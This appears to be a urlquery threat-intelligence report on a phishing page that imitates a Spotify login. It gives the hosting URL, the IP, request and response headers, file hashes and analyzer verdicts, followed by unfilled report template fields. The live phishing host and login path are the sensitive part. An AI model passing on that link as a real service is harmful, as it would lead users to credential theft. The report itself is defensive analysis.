Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
ASCII text, with very long lines (1129), with CRLF line terminators
Size
312 kB (312046 bytes)
Hash
c0cc09978dc6a2de493b3d889908aa01
c94337c5203e902d91e5f5a1a29a96d25288faf7
931b9aa1c4c314c55e8a5c99495199db4cc504894f6964b4e2347d8806165bd4

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify

HTTP Headers

GET /SPOT/IFY/ID/style/app_styles_bundle.css HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
last-modified: Fri, 05 Apr 2024 21:07:02 GMT
accept-ranges: bytes
cache-control: max-age=2592000
expires: Mon, 20 May 2024 13:21:58 GMT
vary: Accept-Encoding
content-encoding: gzip
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-type: text/css
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery.main.js

50.87.180.48

200 OK

228 kB

URL GET HTTP/2
jlk.gaz.mybluehost.me/SPOT/IFY/ID/js/jquery.main.js
IP
50.87.180.48:443
ASN
#46606 UNIFIEDLAYER-AS-1

Requested by
https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Certificate
IssuerLet's Encrypt
Subjectcpcalendars.jlk.gaz.mybluehost.me
Fingerprint9A:E2:98:71:1B:C3:65:01:3A:E7:62:FC:F1:F4:C7:E0:64:A1:84:9B
ValidityMon, 25 Mar 2024 00:05:59 GMT - Sun, 23 Jun 2024 00:05:58 GMT

File type
HTML document, ASCII text, with very long lines (65536), with no line terminators
Size
228 kB (228403 bytes)
Hash
66fb6c8abaca445f0c0ffc2b27f3f3dd
63061affefa7702419da97183720c1f5ab49f8a9
a6bff4e2815221172a06d1a88c45638ef1174723cc206ec84fe324dda0c60d1c

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Spotify
urlquery	suspicious	Suspicious - Suspicious Javascript code

HTTP Headers

GET /SPOT/IFY/ID/js/jquery.main.js HTTP/1.1
Host: jlk.gaz.mybluehost.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://jlk.gaz.mybluehost.me/SPOT/IFY/ID/login.php
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
last-modified: Sat, 08 Jul 2023 01:06:56 GMT
accept-ranges: bytes
cache-control: max-age=21600
expires: Sat, 20 Apr 2024 19:21:58 GMT
vary: Accept-Encoding
content-encoding: gzip
host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
x-newfold-cache-level: 2
x-endurance-cache-level: 2
x-nginx-cache: WordPress
content-type: application/javascript
date: Sat, 20 Apr 2024 13:21:58 GMT
server: Apache
X-Firefox-Spdy: h2

Report Overview

Submitted URL

IP

ASN

Submitted

Access

Website Title

Final URL

Tags

urlquery detections

Detections

urlquery

Network Intrusion Detection

Threat Detection Systems

Domain Summary

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Threat Detection Systems

Public InfoSec YARA rules

OpenPhish

PhishTank

mnemonic secure dns

Quad9 DNS

ThreatFox

JavaScript (5)

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

HTTP Transactions (14)

URL User Request GET HTTP/2

IP

ASN

Certificate

File type

Size

Hash

Detections

HTTP Headers

URL GET HTTP/2

IP

ASN

Requested by

Certificate

File type

Size

Hash

Detections